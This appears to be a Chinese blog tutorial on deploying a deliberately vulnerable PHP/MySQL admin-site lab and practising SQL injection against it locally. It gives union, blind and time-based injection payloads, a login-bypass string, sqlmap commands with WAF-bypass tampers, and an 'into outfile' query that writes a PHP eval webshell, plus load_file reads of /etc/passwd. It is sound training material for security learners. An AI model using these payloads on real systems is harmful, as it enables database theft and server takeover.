MySQL后台注入靶场实战:从环境搭建到提权完整链路
发布时间:2026/9/25 2:37:41 作者:尧图编辑部 阅读量:1,286

简介这份资源是一套存在SQL注入漏洞的网站源码面向正在学习Web安全、需要动手复现注入攻击的初学者与进阶者可用于本地或空间搭建靶场环境练习后台注入的探测与利用思路。压缩包共844个文件约4.95MB以291个php脚本为核心业务与后台逻辑配合106个html页面、67个js脚本、16个css样式及1个sql数据库文件构成完整站点另有251个gif、46个png、26个jpg等图片素材和7个swf动画目录结构接近真实建站项目。资源描述中给出了安装入口、后台目录改名、member目录取舍及install目录清理等部署提示便于快速跑通环境。目前已有826人学习下载适合想通过真实漏洞代码理解注入成因、验证防护手段的安全学习者参考。1. 拿到 mysql后台注入靶场源码.rar 之后先想清楚它到底能帮你练什么很多人拿到mysql后台注入靶场源码.rar的第一反应是解压、找安装说明、丢进 web 根目录跑起来。但真正决定这套靶场能不能帮你提升的不是它能不能跑而是你打算用它练什么。后台注入和普通注入靶场最大的区别在于它模拟的是「已经拿到后台入口或后台表单」之后的注入场景比如登录框、搜索框、订单查询、用户管理列表。这类场景在真实业务里往往权限更高、数据更敏感注入成功后能直接读管理员表、拖库、甚至写文件。所以这套源码的价值不在于「又一个 sqli-labs」而在于让你在接近真实后台的交互里把手工注入、sqlmap 联动、盲注判断、WAF 绕过思路串成一条完整链路。适合已经会基础 SQL 语法、能看懂 PHP 与 MySQL 交互、想从「会跑工具」进阶到「能自己判断注入点类型」的人。如果你连mysql安装配置教程都还没走完建议先把本地 MySQL 跑通再回来否则后面全是玄学报错。2. 把靶场跑起来环境、数据库与最小验证2.1 选型理由为什么用 PHP MySQL 而不是容器一键包这套源码大概率是 PHP 写的传统后台配套一个.sql文件。常见做法是用 phpStudy、XAMPP 或者 Linux 上手动装phpmysqlapache/nginx。我不推荐一上来就用 Docker 封装的靶场镜像原因有两个第一后台注入的很多细节比如magic_quotes、字符集、报错回显跟 PHP 版本和 MySQL 配置强相关容器里你改起来不直观第二手动配一次环境你会被迫理解mysql安装、mysql设置默认值、mysql排序规则这些后面排错要用到的点。如果你在 Linux 上linux安装mysql的流程走一遍比任何教程都值。2.2 导入数据库从 .sql 到可访问的后台假设你已经把源码解压到/var/www/html/target数据库文件叫target.sql。先建库再导入# 登录 MySQL注意 -p 后不要跟密码回车再输 mysql -u root -p # 建库字符集用 utf8mb4避免中文乱码 CREATE DATABASE target_db DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci; # 退出后用命令行导入比 source 更稳 exit mysql -u root -p target_db /var/www/html/target/target.sql导入完成后用mysql客户端确认表结构USE target_db; SHOW TABLES; -- 重点看 users、admin、orders 这类表 SELECT COUNT(*) FROM users;逻辑说明utf8mb4是为了兼容后台里可能出现的 emoji 或特殊字符很多老靶场用utf8会在注入时因为宽字节问题产生误判。参数上DEFAULT CHARACTER SET和COLLATE要一起写否则排序规则可能回退到latin1导致mysql排序结果和预期不一致。导入后如果SHOW TABLES为空先检查.sql文件里有没有CREATE DATABASE或USE语句有些源码的导出文件不带建库语句需要手动指定库名。2.3 改配置文件数据库连接与调试开关PHP 后台一般有个config.php或conn.php里面写死了数据库账号密码。打开它把root密码改成你本地 MySQL 的密码?php // 常见配置项按你本地实际改 $host 127.0.0.1; $user root; $pass 你的MySQL密码; // 不要留空除非你确认 MySQL 允许空密码 $db target_db; $conn mysqli_connect($host, $user, $pass, $db); if (!$conn) { die(连接失败: . mysqli_connect_error()); } // 调试阶段打开报错方便看注入回显 ini_set(display_errors, 1); error_reporting(E_ALL); ?逻辑说明mysqli_connect的第四个参数是库名漏写会报No database selected。display_errors在练习阶段必须开否则盲注时你连 SQL 语法错误都看不到只能靠猜。参数上如果 MySQL 是 8.0 以上默认认证插件是caching_sha2_password老 PHP 可能连不上需要在 MySQL 里执行ALTER USER rootlocalhost IDENTIFIED WITH mysql_native_password BY 你的密码;。这一步不做后面会一直卡在error 2002 (hy000): cant connect to local mysql server through socket或认证失败。2.4 最小验证确认注入点真的存在浏览器访问http://127.0.0.1/target/admin/login.php先正常登录一次看后台能不能进。然后找带参数的 URL比如news.php?id1手动加单引号http://127.0.0.1/target/news.php?id1如果页面报You have an error in your SQL syntax说明注入点存在且回显开启。如果页面正常但内容变了可能是盲注。如果直接 403 或跳转检查是不是有简单的addslashes或 WAF 规则。这一步是后面所有练习的基线基线没跑通别急着上 sqlmap。3. 后台注入的四种典型形态与手工验证路径3.1 数字型与字符型从报错到联合查询后台注入最常见的是id1这种数字型和nameadmin这种字符型。数字型直接id1 and 11和id1 and 12对比页面差异字符型要先闭合引号nameadmin and 11。确认存在后用order by猜列数-- 在注入点后拼接逐步增加数字直到报错 id1 order by 5 --假设 5 不报错、6 报错说明当前查询返回 5 列。然后联合查询id-1 union select 1,2,3,4,5 --逻辑说明id-1是为了让原查询返回空页面上直接显示 union 后面的数字位。哪个数字位在页面上出现就往哪个位置替换成database()、user()、version()。参数上--后面必须跟一个空格否则 MySQL 不认注释。如果--被过滤用#或/* */替代。这一步能拿到库名后就可以查information_schema.tables找管理员表。3.2 盲注布尔与时间什么时候该放弃手工后台如果关了报错回显就只能盲注。布尔盲注靠and length(database())5这种真假条件看页面差异时间盲注靠and sleep(3)看响应延迟。手工盲注效率极低一个库名可能要几百次请求。我的经验是布尔盲注手工验证前 3 个字符确认注入类型后立刻交给 sqlmap不要跟自己较劲。时间盲注更要注意sleep()在 MySQL 里是秒级网络抖动容易误判建议用sleep(2)起步并且连续测三次取稳定结果。-- 布尔盲注判断库名长度 id1 and length(database())6 -- -- 时间盲注判断第一个字符 id1 and if(substr(database(),1,1)t,sleep(3),0) --参数说明substr的起始位置从 1 开始不是 0。if的第三个参数写 0 表示条件不成立时不延迟。如果页面响应时间稳定在 3 秒左右说明条件成立。注意 MySQL 的sleep在union里可能被优化掉尽量放在and后面。3.3 后台表单注入POST 请求怎么测后台登录框、搜索框大多是 POST。手工测的时候不能只改 URL要用浏览器开发者工具或者 Burp 改包。以登录框为例在用户名里填admin or 11 --密码随便填。如果直接登录成功说明存在万能密码注入。更隐蔽的是admin or sleep(3) --看响应时间。# 用 curl 模拟 POST方便脚本化 curl -X POST http://127.0.0.1/target/admin/login.php \ -d usernameadmin or 11 -- password123逻辑说明-d后面的内容会被 URL 编码但单引号和空格在 curl 里通常能直接传。如果服务端做了urldecode或addslashes需要调整 payload。参数上--后面的空格在 POST body 里容易被截断可以用#代替。这一步跑通后把同样的 payload 丢给 sqlmap 的--data参数就能自动跑。3.4 sqlmap 联动从手工确认到自动化拖库手工确认注入点后sqlmap 能省大量时间。但前提是你已经知道注入类型和大致 payload否则 sqlmap 的启发式扫描可能被简单过滤挡住。# GET 型注入 sqlmap -u http://127.0.0.1/target/news.php?id1 --batch --dbs # POST 型注入注意 --data 里的参数要完整 sqlmap -u http://127.0.0.1/target/admin/login.php \ --datausernameadminpassword123 \ --batch --level3 --risk2 --dbs逻辑说明--batch让所有交互默认选是适合靶场。--level3会增加测试的 header 和 payload 类型--risk2会加入基于时间的盲注。参数上如果 sqlmap 跑不出结果但手工能注入优先检查--data里的参数名是否和实际表单一致以及有没有 CSRF token 需要带。靶场里常见token字段sqlmap 可以用--csrf-token指定。4. 避坑与排查靶场跑不起来、注入没回显的 5 个血泪经验4.1 现象页面空白或 500日志里是mysqli_connect报错原因PHP 版本和 MySQL 认证插件不匹配或者config.php里的密码没改。解决先看 PHP 错误日志确认是连接失败还是语法错误。如果是caching_sha2_password问题按 2.3 节改认证插件。如果是Access denied检查 MySQL 用户权限必要时GRANT ALL ON target_db.* TO rootlocalhost;。4.2 现象导入 .sql 后中文全是问号原因导入时没指定字符集或者.sql文件本身是latin1导出。解决重新导入命令里加--default-character-setutf8mb4。如果文件本身编码不对用iconv转一次再导。这个坑不解决后面注入查出来的管理员密码可能是乱码白忙一场。4.3 现象手工注入有报错sqlmap 跑不出来原因sqlmap 默认的 payload 被靶场的简单过滤拦了或者注入点在 POST 的某个非标准字段。解决先用--techniqueB只跑布尔盲注或者--tamperspace2comment绕过空格过滤。如果还是不行把手工验证成功的完整请求保存为request.txt用sqlmap -r request.txt跑这样 header 和 cookie 都带上了。4.4 现象时间盲注延迟不稳定有时 3 秒有时 0.5 秒原因MySQL 的sleep被查询缓存或优化器影响或者本地网络有波动。解决换用benchmark(1000000,md5(a))做延迟或者把sleep放在子查询里。另外靶场如果开了query_cache先关掉SET GLOBAL query_cache_size0;。这个坑很玄学连续测三次取中位数更靠谱。4.5 现象后台登录成功但注入点找不到原因后台很多功能是 AJAX 请求URL 里看不到参数实际参数在 POST body 或 JSON 里。解决打开浏览器开发者工具的 Network 面板操作一遍后台功能看 XHR 请求。把请求复制为 curl再手工测注入。不要只盯着地址栏后台注入的入口往往藏在api.php这类接口里。5. 进阶技巧用这套源码练「注入到提权」的完整链路跑通基础注入后这套mysql后台注入靶场源码最大的价值是让你练一条完整链路从注入点读到管理员密码登录后台找上传点写 webshell再通过 MySQL 的into outfile直接写文件。这里给一个具体技巧先确认secure_file_priv的值。SHOW VARIABLES LIKE secure_file_priv;如果结果是空字符串说明允许任意路径写文件如果是NULL写文件这条路直接堵死别浪费时间。如果是某个目录只能写到那个目录下。常见做法是-- 联合查询写文件注意路径要有写权限 id-1 union select 1,?php eval($_POST[cmd]);?,3,4,5 into outfile /var/www/html/target/shell.php --逻辑说明into outfile要求当前 MySQL 用户有FILE权限且路径不能是已存在文件。参数上?php里的问号可能被 WAF 拦可以用?php的十六进制或0x3c3f706870绕过。写进去之后用菜刀或蚁剑连shell.php密码是cmd。这一步在真实环境里风险极高但在靶场里是理解「注入危害上限」的最好方式。另一个进阶方向是 MySQL 的load_file()读系统文件比如/etc/passwd。但前提同样是FILE权限和secure_file_priv允许。如果这两个都不行就回到数据层面用information_schema把整个库的表名、列名、字段值全部拖出来练习group_concat和limit分页。我自己的习惯是每跑通一个靶场就把从注入到拿 shell 的每一步命令记在一个notes.md里下次遇到新靶场直接对照。这套源码的数据库结构如果和常见 CMS 接近你练完一遍再遇到类似后台就能条件反射地找id参数和admin表。希望帮到你。本文还有配套的精品资源点击获取